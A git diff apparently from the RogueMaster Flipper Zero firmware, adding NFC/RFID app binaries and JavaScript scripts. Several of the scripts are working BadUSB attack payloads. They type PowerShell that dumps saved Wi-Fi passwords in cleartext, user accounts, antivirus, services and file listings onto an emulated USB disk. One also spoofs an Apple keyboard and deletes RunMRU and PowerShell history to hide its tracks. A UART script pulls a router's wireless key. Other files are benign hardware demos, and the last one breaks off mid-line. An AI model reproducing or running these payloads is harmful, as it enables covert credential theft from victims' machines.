RM)/RogueMaster/NFC/nfc_eink.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap new file mode 100644 index 000000000..40df142a2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap new file mode 100644 index 000000000..ced19885e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap new file mode 100644 index 000000000..4ef05a4a6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap new file mode 100644 index 000000000..4f5610072 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap new file mode 100644 index 000000000..060dc1af1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap new file mode 100644 index 000000000..bca57ef75 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap new file mode 100644 index 000000000..992f4e995 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap new file mode 100644 index 000000000..8592fc0bf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap new file mode 100644 index 000000000..305e4a7c1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap new file mode 100644 index 000000000..c2fc9af3c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap new file mode 100644 index 000000000..a36259cb5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap new file mode 100644 index 000000000..22412fa09 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap new file mode 100644 index 000000000..0eb479661 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap new file mode 100644 index 000000000..d8edc9f7b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap new file mode 100644 index 000000000..36476a43d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap new file mode 100644 index 000000000..a077290b9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap new file mode 100644 index 000000000..01a3d6fdd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap new file mode 100644 index 000000000..794ccf368 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap new file mode 100644 index 000000000..313a25b29 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap new file mode 100644 index 000000000..6e70573e3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js new file mode 100644 index 000000000..59b4f92a8 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js @@ -0,0 +1,85 @@ +// Original: [JS Script: BadUSB_Win_Exfil-GSHD.js (By Gas Station Hot Dog)](https://github.com/User84User/User84PublicUser/blob/main/Windows_Exfil-GSHD.js) +// Updated BadUSB Win Exfil JS Script (By Gas Station Hot Dog & b0r0xZ & mistura.) (Comments added along with more commands) +//MassStorage Name +let image = "/ext/apps_assets/mass_storage/test.img"; +//MassStorage Size +let size = 8 * 1024 * 1024; +//Le Script +let script = [ + "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date + "$Time = Get-Date -Format hh-mm-ss;",//Get Time + "Get-CimInstance -ClassName Win32_ComputerSystem >> stats.txt;", //Listing computer manufacturer and model + "Get-LocalUser >> stats.txt;", //List users on the system + "Get-LocalUser | Where-Object -Property PasswordRequired -Match false >> stats.txt;", //Which users has password required set to false + "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> stats.txt;", // List which AntiVirus Product is being used + "Get-CimInstance -ClassName Win32_QuickFixEngineering >> stats.txt;", // Listing installed hotfixes + "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;",//Get network profiles with passwords + "dir env: >> stats.txt;", //Check ENV + "Get-Computerinfo >> stats.txt;", //ComputerInfo + "Get-Service >> stats.txt;", // Get runing services + "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;", //Check all IPV4 sufix that is not localhost + "Get-NetTCPConnection | Where-Object -Property State -Match Listen >> stats.txt;", //List listening ports + "Get-NetTCPConnection | Select-Object -Property * >> stats.txt;", // Get TCP information, ports, state etc.. + "Get-ChildItem -Path $userDir -Include *.txt, *.doc, *.docx, *.pptx, *.xlsx, *.pdf, *.jpg, *.png, *.mp3, *.mp4, *.zip, *.rar -Recurse >> stats.txt",//Exfil FileNames +]; + +//Script crawler +let command = ""; +for (let i = 0; i < script.length; i++) { + command += script[i]; +} + +//Requirements +let badusb = require("badusb"); +let usbdisk = require("usbdisk"); +let storage = require("storage"); + +//Check if MassStorage image Exists... +print("Checking for Image..."); +if (storage.exists(image)) { + print ("Storage Exists."); +} +//Create MassStorage in case it doesnt exists +else { + print ("Creating Storage..."); + usbdisk.createImage(image, size); +} + +//VID&PID as HID +badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); +print("Waiting for connection"); + +//Keep Connected +while (!badusb.isConnected()) { + delay(1000); +} + +//Program Start!! +badusb.press("GUI", "x");//Open admin tools menu +delay(300); +badusb.press("i");//Select PowerShell +delay(3000); +//Uncomment this to work with "Run", also comment the 1st part that works with the admin tools menu +/* +badusb.press("GUI", "r");//Open Run +delay(300); +badusb.println("powershell"); +badusb.press("ENTER"); +*/ +print("Running payload"); +badusb.println(command, 10);//Run Script Crawler +badusb.press("ENTER"); +badusb.println("echo 'Please wait until this Window closes to eject the disk!'; Start-Sleep 10; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path stats.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; exit")//Find Disk Partition to save +badusb.press("ENTER"); +badusb.quit(); +delay(2000); +usbdisk.start(image);//Open MassStorage Folder +print("Please wait until powershell window closes to eject..."); + +//Ejected check +while (!usbdisk.wasEjected()) { + delay(1000); +} +//Stop Script +usbdisk.stop(); +print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js new file mode 100644 index 000000000..eafc96aa5 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js @@ -0,0 +1,21 @@ +let badusb = require("badusb"); +let notify = require("notification"); +badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); + +print("Waiting for connection"); +while (!badusb.isConnected()) { + delay(1000); +} + +function OpenSiteWin() +{ + badusb.press("GUI", "r"); + delay(100); + badusb.println("https://rogue-master.net", 1); + delay(100); +} +if (badusb.isConnected()) +{ + OpenSiteWin(); + print("Executed"); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js new file mode 100644 index 000000000..0506d348c --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js @@ -0,0 +1,42 @@ +// This is an example of how to use the analog pins (ADC) on the Flipper Zero. +// The example uses a reference voltage of 2048mV (2.048V), but you can also use 2500mV (2.5V). +// The example reads the values of the analog pins A7, A6, and A4 and prints them to the console. +// The example also checks if the value of A7 is twice the value of A6 and breaks the loop if it is. +// The example uses the analog pins A7, A6, and A4, but you can also use PC3, PC1, and PC0. + +let gpio = require("gpio"); + +// initialize pins A7, A6, A4 as analog (you can also use PC3, PC1, PC0) +gpio.init("PA7", "analog", "no"); // pin, mode, pull +gpio.init("PA6", "analog", "no"); // pin, mode, pull +gpio.init("PA4", "analog", "no"); // pin, mode, pull + +gpio.startAnalog(2048); // vRef = 2.048V (you can also use 2500 for a 2.5V reference voltage) + +while (true) { + let pa7_value = gpio.readAnalog("PA7"); + let pa6_value = gpio.readAnalog("PA6"); + let pa4_value = gpio.readAnalog("PA4"); + print("A7: " + to_string(pa7_value) + " A6: " + to_string(pa6_value) + " A4: " + to_string(pa4_value)); + delay(100); + if (pa7_value === pa6_value * 2) { + break; + } +} +print("A7 is twice A6!"); + +gpio.stopAnalog(); + +// possible analog pins https://docs.flipper.net/gpio-and-modules#miFsS +// "PA7" aka 2 +// "PA6" aka 3 +// "PA4" aka 4 +// "PC3" aka 7 +// "PC1" aka 15 +// "PC0" aka 16 + +// possible modes +// "analog" + +// possible pull +// "no" diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js new file mode 100644 index 000000000..ddb572ee7 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js @@ -0,0 +1,8 @@ +let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]); +print("len =", arr_1.buffer.byteLength); + +let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6)); +print("slice len =", arr_2.buffer.byteLength); +for (let i = 0; i < arr_2.buffer.byteLength; i++) { + print(arr_2[i]); +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js new file mode 100644 index 000000000..9396a3464 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js @@ -0,0 +1,20 @@ +let serial = require("serial"); +serial.setup("lpuart", 115200); + +// serial.write("\n"); +serial.write([0x0a]); +let console_resp = serial.expect("# ", 1000); +if (console_resp === undefined) { + print("No CLI response"); +} else { + serial.write("uci\n"); + let uci_state = serial.expect([": not found", "Usage: "]); + if (uci_state === 1) { + serial.expect("# "); + serial.write("uci show wireless\n"); + serial.expect(".key="); + print("key:", serial.readln()); + } else { + print("uci cmd not found"); + } +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js new file mode 100644 index 000000000..be94a64d2 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js @@ -0,0 +1,48 @@ +let badusb = require("badusb"); +let notify = require("notification"); +let flipper = require("flipper"); +let dialog = require("dialog"); + +badusb.setup({ + vid: 0xAAAA, + pid: 0xBBBB, + mfr_name: "Flipper", + prod_name: "Zero", + layout_path: "/ext/badusb/assets/layouts/en-US.kl" +}); +dialog.message("BadUSB demo", "Press OK to start"); + +if (badusb.isConnected()) { + notify.blink("green", "short"); + print("USB is connected"); + + badusb.println("Hello, world!"); + + badusb.press("CTRL", "a"); + badusb.press("CTRL", "c"); + badusb.press("DOWN"); + delay(1000); + badusb.press("CTRL", "v"); + delay(1000); + badusb.press("CTRL", "v"); + + badusb.println("1234", 200); + + badusb.println("Flipper Model: " + flipper.getModel()); + badusb.println("Flipper Name: " + flipper.getName()); + badusb.println("Battery level: " + to_string(flipper.getBatteryCharge()) + "%"); + + // Alt+Numpad method works only on Windows!!! + badusb.altPrintln("This was printed with Alt+Numpad method!"); + + // There's also badusb.print() and badusb.altPrint() + // which don't add the return at the end + + notify.success(); +} else { + print("USB not connected"); + notify.error(); +} + +// Optional, but allows to interchange with usbdisk +badusb.quit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md new file mode 100644 index 000000000..6bd494357 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md @@ -0,0 +1,89 @@ +# BadUSB + +[![FlipperZero: BadUSB JavaScript](https://img.youtube.com/vi/DAUQGeG4pc4/0.jpg)](https://youtu.be/DAUQGeG4pc4) + +This script was created for the [YouTube video](https://youtu.be/DAUQGeG4pc4) to demonstrate various concepts in JavaScript running on the Flipper Zero, using a real world scenario. + +## Overview summary +This script uses features that were introduced in the dev branch of Momentum firmware on April 5, 2024. You need to be sure your firmware is updated or else you will get errors running the script. + +This script will copy an MP3 file from the Flipper to the computer, play it on the computer, run commands to get information from the computer (like wifi credentials), copy the output back to the Flipper Zero, and display it and append it on a local file on the Flipper. It will also automate switching between keyboard, disk, ejecting devices. + +Many of these ideas are from the Momentum Discord server's script-sharing channel. I encourage you to check out the various scripts being shared there. + +## Detailed summary +This script will: + +- Use `storage` APIs to see if a virtual USB disk image exists. If it does, it will delete it. It then creates a new virtual USB disk image using the `usbdisk` APIs. It will then use `storage` APIs to mount the virtual USB disk image and then it will use the `copy` function to copy a file from the SD card onto the virtual USB disk. It will then unmount the virtual USB disk image. +- Next it will use `badusb` APIs to emulate a keyboard with the specified language layout. +- It will then display a `Waiting for connection` message on the screen to indicate that the Flipper Zero is ready to be connected to a computer. It uses `badusb` APIs to wait for a connection. +- It will launch PowerShell on the connected computer (`Windows+x` then `i`). +- It creates a temporary directory on the computer and then switches to that directory. +- It then types all of the commands in the script array (e.g. get ips, get wifi creds, etc.) into the PowerShell window. These commands should save output into the `localFileName`. +- It then types commands to scan for the virtual USB disk to be attached and then set the $DriveLetter variable to the drive letter of the virtual USB disk. +- If copyPayload is true, it will type commands to copy the payload file from the virtual USB disk to the temporary directory on the computer. +- If playPayload is true, it will type commands to play the payload file on the computer. +- If at least one script command is specified, it will type commands to copy the output file from the temporary directory on the computer to the virtual USB disk. +- It will then type commands to eject the drive (signaling that the script is done). +- It will then type commands to hide it's tracks (somewhat) and close the PowerShell window. +- At this point the `badusb` APIs will disconnect the Flipper Zero from the computer. +- The `usbdisk` APIs will then attach the virtual USB disk image. +- At this point the above scripts will detect the virtual USB disk image, and run the above commands, which will eventually finish by ejecting the virtual USB disk image. +- The `usbdisk` APIs will detect the detach the virtual USB disk image. +- The `usbdisk` APIs will then stop the virtual USB disk image. +- If at least one script command is specified, it will then use the `storage` APIs to mount the virtual USB disk image. It will read the output file from the virtual USB disk image and display it on the screen using the `textbox` APIs. It will also append the output file to the `loot.txt` file on the SD card. +- Once the back button is pressed, the storage APIs will unmount the image. + +## Config +Edit the [badusbdemo.js](./badusbdemo.js) file to customize the script. The following are the settings that should be changed: + +- Make sure `layout` is set to the correct keyboard layout for the computer (like `en-US`, `en-UK`, etc). See your [/ext/badusb/assets/layouts](https://github.com/Next-Flip/Momentum-Firmware/tree/dev/applications/main/bad_kb/resources/badusb/assets/layouts) for the list of supported latouts. +- `localTempFolder` is the temporary folder that will created on the computer. You do not need to change this. +- `localFileName` is the name of the output file that will be used by scripts. You do not need to change this. +- `script` array is the list of scripts to run. + - If it is empty, then the MP3 will be copied and played, but no scripts will be run. + - If it has at least one element, then the MP3 will be copied and played, and the scripts will be run. + - Your commands should save output into the `localFileName`. + - If you use a quote mark in your command, you should escape it with a backslash (e.g. `\"`). + - Commands should end with a comma. +- `copyPayload` is `true` to copy the payload file from the Flipper to the computer (otherwise `false`). +- `playPayload` is `true` to play the payload file on the computer (otherwise `false`). +- `payloadName` is the name of the payload file to copy and play. +- `payloadSrcName` is the path to the file. You do not need to change this. It it expected that the script will also contains a `payloads` folder with this file. +- `payloadDstName` is the name of the file on virtual USB disk. You do not need to change this. +- `lootFile` is the name of the file on the SD card to append the output file to. You do not need to change this. This will be saved in the same folder as the script. +- `exfilCapacityMb` is the size of the virtual USB disk image in MB. You do not need to change this unless your payload is >4MB. +- `image` is the name of the virtual USB disk image. You do not need to change this. +- `flipperStorageName` is the name of the virtual USB disk image when it is attached to the Flipper Zero. You should not change this (the driver currently hard-codes this name). +- `resultFolder` is the name of the folder on the virtual USB disk image where the output file will be saved. You do not need to change this. +- `resultFileName` is the name of the output file on the virtual USB disk image. You do not need to change this. + +## Setup + +- Copy the [badusbdemo.js](./badusbdemo.js) file to the Flipper Zero. It should be stored in `SD Card/apps/Scripts/badusbdemo.js`. +- Create a `payloads` folder in the same folder as the script (`SD Card/apps/Scripts/payload`). +- Create a `demo.mp3` file in the `payloads` folder. This file will be copied to the computer and played. This file should be less than 4MB (your `exfilCapacityMb`). + +## Running + +- Make sure you have the latest dev firmware installed on your Flipper. +- On the Flipper click the OK button, then choose `Apps`, then choose `Scripts`, then choose `badusbdemo.js`. +- Connect the Flipper Zero to the computer when prompted with `Waiting for connection`. +- The script will run and eventually disconnect the Flipper Zero from the computer. +- The script will finish and the output will be displayed on the screen and appended to the `loot.txt` file on the SD card in the (`SD Card/apps/Scripts/loot.txt`). + +## Troubleshooting +- If you get... `"textbox" module load fail at :23` -- Your firmware is too old. You need to update to the latest dev branch of the firmware. +- If you get... `"file/dir not exist at :71"` -- You need to put demo.mp3 (all lowercase) in `SD Card/apps/Scripts/payloads/demo.mp3`. The MP3 file I saved in payloads/demo.mp3 for the video was https://www.soundboard.com/track/download/156453 +- If you get... `"out of memory"` -- Reboot the Flipper (BACK+LEFT buttons) before running the script to free up memory. +- If you get a different error, **please let me know** (ideally take a picture of the error with your phone) so I can investigate it. Even if you figure it out, it would be great to add to this troubleshooting section. + +## Support + +If you have any questions, please ask in my [Flipper Zero Discord](https://discord.com/invite/NsjCvqwPAd) server. There are also giveaways and other fun things happening there. + +Support my work: +- Option 1. [Like, Subscribe and click the Bell (to get notified)](https://youtu.be/DAUQGeG4pc4) +- Option 2. [https://ko-fi.com/codeallnight](https://ko-fi.com/codeallnight) (donate $3 via PayPal or Venmo) +- Option 3. Click the "Thanks" button on [YouTube](https://youtu.be/DAUQGeG4pc4). +- Option 4. Purchase a [FlipBoard](https://github.com/MakeItHackin/FlipBoard) (I get a portion of the sale). diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js new file mode 100644 index 000000000..d89d23825 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js @@ -0,0 +1,200 @@ +// JavaScript demo of running Windows powershell scripts. This +// demo is based on lots of the previous scripts that were shared +// in the Momentum Discord channel. + +// The payloads in this script were demonstrated in +// Talking Sasquach's video https://youtu.be/8USI98_5GeU?t=447 +// +// The improvements are: +// - Populating the USB drive with payloads. +// - PowerShell polling for the USB drive to be attached. +// - Badusb using keyboard layouts (handling non-US keyboards). +// - Copying a file from USB to local drive. +// - Playing an MP3 file. +// - PowerShell ejecting the USB drive when done. +// - Displaying the results on the Flipper screen. + +// For documentation on configuration see: +// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/badusb/README.md + +let badusb = require("badusb"); +let usbdisk = require("usbdisk"); +let storage = require("storage"); +let textbox = require("textbox"); + +// ************ +// IMPORTANT: Be sure this matches your computer keyboard layout!!! +// See /ext/badusb/assets/layouts/ for list of supported keyboard layouts. +let layout = "en-US"; + +// Local file to store system information. +let localTempFolder = "flipper"; +let localFileName = "info.txt"; + +// Update this script to include the commands you want to run. +let script = [ + "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\\d+.\\d+)' >> " + localFileName + ";", + "(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> " + localFileName + ";", + // "dir env: >> " + localFileName + ";", +]; + +// Payload to copy from the SD card to the USB drive. +let copyPayload = true; +let playPayload = true; +let payloadName = "demo.mp3"; +let payloadSrcName = __dirpath + "/payloads/" + payloadName; +let payloadDstName = "/mnt/" + payloadName; + +// All the loot will be stored in this file. +let lootFile = __dirpath + "/loot.txt"; + +// Image to store payloads and results. +let exfilCapacityMb = 4; // Reserve space for our image (payloads and results). +let image = __dirpath + "/Demo_" + to_string(exfilCapacityMb) + "MB.img"; +let flipperStorageName = "Flipper Mass Storage"; + +// Folder and file to store the results on SD card. +let resultFolder = "results"; +let resultFileName = "info.txt"; + +print("Checking for Image..."); +if (storage.exists(image)) { + storage.remove(image); +} +print("Creating Storage..."); +usbdisk.createImage(image, exfilCapacityMb * 1024 * 1024); + +if (copyPayload) { + print("Copying Payload...") + storage.virtualInit(image); + storage.virtualMount(); + storage.copy(payloadSrcName, payloadDstName); + storage.virtualQuit(); +} + +badusb.setup({ + vid: 0x1234, + pid: 0x5678, + mfr_name: "Apple", + prod_name: "Keyboard", + layout_path: "/ext/badusb/assets/layouts/" + layout + ".kl" +}); +print("Waiting for connection"); +while (!badusb.isConnected()) { + delay(1000); +} + +// Launch powershell +print("Launching powershell"); +delay(3000); +badusb.press("GUI", "x"); +delay(500); +badusb.press("i"); +delay(3000); + +print("Running commands"); +badusb.print(" md " + localTempFolder + "; cd " + localTempFolder + "; "); +for (let i = 0; i < script.length; i++) { + badusb.print(script[i]); +} +badusb.press("ENTER"); +badusb.press("ENTER"); + +// Wait for attached drive, assign to $DriveLetter +badusb.print(" $FlipperStorage = '" + flipperStorageName + "';"); +badusb.print(" do {"); +badusb.print(" Start-Sleep 1;"); +badusb.print(" $Disks = Get-Disk;"); +badusb.print(" $DiskNames = $Disks | Select-Object -Property Number,FriendlyName;"); +badusb.print(" $DiskNumber = $DiskNames | Where-Object -FilterScript { ($_.FriendlyName) -eq $FlipperStorage} | Select-Object -ExpandProperty Number;"); +badusb.print(" } while ($DiskNumber -lt 0);") +badusb.print(" $DriveLetter = Get-Partition -DiskNumber ${DiskNumber} | Select-Object -ExpandProperty DriveLetter;"); + +// Copy file from USB drive locally. +if (copyPayload) { + badusb.print(" $Payload = ${DriveLetter} + ':\\" + payloadName + "';"); + badusb.print(" Copy-Item -Path $Payload;"); +} + +// Play the MP3 payload file. +if (playPayload) { + badusb.print("Add-Type -AssemblyName presentationCore;"); + badusb.print(" $mediaPlayer = New-Object system.windows.media.mediaplayer;"); + badusb.print(" $song = Get-Location | Select-Object -ExpandProperty Path;"); + badusb.print(" $song = $song+'\\" + payloadName + "';") + badusb.print(" $mediaPlayer.open($song);"); + badusb.print(" $mediaPlayer.Play();"); +} + +// Move file onto SD card +if (script.length > 0) { + badusb.print(" $LocalFile = '" + localFileName + "';"); + badusb.print(" New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\" + resultFolder + "\\;"); + badusb.print(" Move-Item -Path $LocalFile -Destination ${DriveLetter}:\\" + resultFolder + "\\" + resultFileName + ";"); + badusb.print(" Start-Sleep 1;"); +} + +// Eject drive +badusb.print(" $eject = New-Object -comObject Shell.Application;"); +badusb.print(" $eject.Namespace(17).ParseName($DriveLetter+':').InvokeVerb('Eject');"); + +// Hide tracks +badusb.print(" cd ..;"); +badusb.print(" Remove-Item " + localTempFolder + " -Force -Recurse;"); +badusb.print(" reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f;"); +badusb.print(" Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue;"); +badusb.press("ENTER"); +delay(500); + +// Close window & detach keyboard +badusb.press("ENTER"); +badusb.print(" Start-Sleep 10; exit"); +badusb.press("ENTER"); +badusb.quit(); + +// Wait for badusb to finish typing. +print("Waiting for typing to finish..."); +delay(5 * 1000); + +// Attach storage +print("Attaching storage..."); +usbdisk.start(image); + +// Wait for storage to be detached from script +print("Waiting for storage to detatch..."); +while (!usbdisk.wasEjected()) { + delay(1000); +} +usbdisk.stop(); + +// Done +print("Detached disk."); +delay(1000); + +// Mount and display loot +if (script.length > 0) { + print("Reading loot..."); + storage.virtualInit(image); + storage.virtualMount(); + delay(1000); + let data = storage.read("/mnt/" + resultFolder + "/" + resultFileName); + textbox.setConfig("start", "text"); + textbox.clearText(); + let data_view = Uint8Array(data); + for (let i = 0; i < data_view.length; i++) { + textbox.addText(chr(data_view[i])); + } + data_view = undefined; + textbox.addText("\n"); + textbox.show(); + print("Copying to loot file."); + storage.append(lootFile, data); + print("Displaying results."); + while (textbox.isOpen()) { + delay(1000); + } + textbox.clearText(); + storage.virtualQuit(); +} + +print("Done."); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js new file mode 100644 index 000000000..53983a745 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js @@ -0,0 +1,59 @@ +let blebeacon = require("blebeacon"); + +// Stop if previous background beacon is active +if (blebeacon.isActive()) { + blebeacon.stop(); +} + +// Make sure it resets at script exit, true will keep advertising in background +// This is false by default, can be omitted +blebeacon.keepAlive(false); + + +let math = require("math"); + +let currentIndex = 0; +let watchValues = [ + 0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15, + 0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E, + 0x20, 0xEC, 0xEF +]; + +function generateRandomMac() { + let mac = []; + for (let i = 0; i < 6; i++) { + mac.push(math.floor(math.random() * 256)); + } + return Uint8Array(mac); +} + +function sendRandomModelAdvertisement() { + let model = watchValues[currentIndex]; + + let packet = [ + 14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43, + model + ]; + + let 